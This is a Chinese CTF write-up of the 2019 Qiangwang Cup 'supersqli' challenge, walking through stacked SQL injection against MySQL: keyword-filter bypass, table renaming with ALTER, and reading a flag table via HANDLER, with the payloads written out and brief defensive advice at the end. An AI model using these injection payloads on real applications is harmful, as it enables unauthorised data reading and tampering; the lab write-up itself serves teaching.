[强网杯2019]supersqli--Web安全进阶系列
字数 852 2025-08-19 12:40:50

MySQL 注入进阶:堆叠注入与 HANDLER 命令详解

1. 注入检测与初步分析

1.1 注入点检测

  • 使用引号检测注入点:1' 导致报错,表明可能存在 SQL 注入
  • 判断列数:1' order by 4 -- q 报错,1' order by 2 -- q 正常,确认存在 2 列输出

1.2 联合注入尝试

  • 尝试联合注入:1' union select 1,2 -- q
  • 发现被过滤的关键字:select|update|delete|drop|insert|where|\./i

2. 堆叠注入利用

2.1 发现堆叠注入

  • 成功执行:1' ; show databases; -- w
  • 查看当前数据库表:-1' ; show tables; -- w

2.2 表结构分析

  • 查看 words 表结构:-1' ; show columns from words ; -- w
  • 发现 words 表包含 id 和 data 列

3. 高级注入技术:表重命名与修改

3.1 表重命名技术

rename `words` to `words1`; 
rename `1919810931114514` to `words`;

3.2 修改表结构

alter table `words` change `id` `flag` varchar(100);

4. ALTER 命令详解

ALTER 命令用于修改数据库、表和索引等对象的结构:

4.1 常用 ALTER 操作

  • 添加列:

    alter table [table_name] add column [new_column] [datatype];
    
  • 修改数据类型:

    alter table [table_name] modify column [column_name] [datatype];
    
  • 修改列名:

    alter table [table_name] change column [old_column_name] [new_column_name] [datatype];
    
  • 删除列:

    alter table table_name drop column [column_name];
    

4.2 数据去重技术

-- 创建临时表
create table [tmp] select * from [table_name_] group by ([col1],[col2]);

-- 删除原表
drop table [table_name_];

-- 重命名临时表
alter table tmp rename table_name_;
-- 或
rename tmp table_name_;

5. HANDLER 命令高级用法

HANDLER 是 MySQL 特有命令,用于逐行读取表数据。

5.1 基本用法

-- 打开句柄
handler `table_name` open;

-- 读取第一行
handler `table_name` read first;

-- 读取下一行
handler `table_name` read next;

-- 关闭句柄
handler `table_name` close;

5.2 带索引的 HANDLER 操作

-- 创建索引
create index handler_index on handler_table(id);

-- 打开带别名的句柄
handler handler_table open as p;

-- 使用索引读取
handler p read handler_index first;
handler p read handler_index next;
handler p read handler_index prev;
handler p read handler_index last;

-- 关闭句柄
handler p close;

5.3 索引管理

-- 删除索引
alter table handler_table drop index handler_index;

-- 重新创建索引
create index handler_index on handler_table(id);

6. 实际注入案例

6.1 最终注入 payload

1' ; handler `1919810931114514` open ; handler `1919810931114514` read first -- w

6.2 技术要点

  1. 通过堆叠注入绕过关键字过滤
  2. 利用表重命名技术将目标表伪装成应用预期查询的表
  3. 使用 HANDLER 命令直接读取表数据,绕过 SELECT 限制
  4. 通过 ALTER 命令修改表结构以适应应用查询逻辑

7. 防御建议

  1. 禁用堆叠查询功能
  2. 使用预处理语句
  3. 实施最小权限原则
  4. 过滤特殊字符和 SQL 关键字
  5. 限制数据库用户权限,避免 ALTER 等危险操作
MySQL 注入进阶:堆叠注入与 HANDLER 命令详解 1. 注入检测与初步分析 1.1 注入点检测 使用引号检测注入点: 1' 导致报错,表明可能存在 SQL 注入 判断列数: 1' order by 4 -- q 报错, 1' order by 2 -- q 正常,确认存在 2 列输出 1.2 联合注入尝试 尝试联合注入: 1' union select 1,2 -- q 发现被过滤的关键字: select|update|delete|drop|insert|where|\./i 2. 堆叠注入利用 2.1 发现堆叠注入 成功执行: 1' ; show databases; -- w 查看当前数据库表: -1' ; show tables; -- w 2.2 表结构分析 查看 words 表结构: -1' ; show columns from words ; -- w 发现 words 表包含 id 和 data 列 3. 高级注入技术:表重命名与修改 3.1 表重命名技术 3.2 修改表结构 4. ALTER 命令详解 ALTER 命令用于修改数据库、表和索引等对象的结构: 4.1 常用 ALTER 操作 添加列: 修改数据类型: 修改列名: 删除列: 4.2 数据去重技术 5. HANDLER 命令高级用法 HANDLER 是 MySQL 特有命令,用于逐行读取表数据。 5.1 基本用法 5.2 带索引的 HANDLER 操作 5.3 索引管理 6. 实际注入案例 6.1 最终注入 payload 6.2 技术要点 通过堆叠注入绕过关键字过滤 利用表重命名技术将目标表伪装成应用预期查询的表 使用 HANDLER 命令直接读取表数据,绕过 SELECT 限制 通过 ALTER 命令修改表结构以适应应用查询逻辑 7. 防御建议 禁用堆叠查询功能 使用预处理语句 实施最小权限原则 过滤特殊字符和 SQL 关键字 限制数据库用户权限,避免 ALTER 等危险操作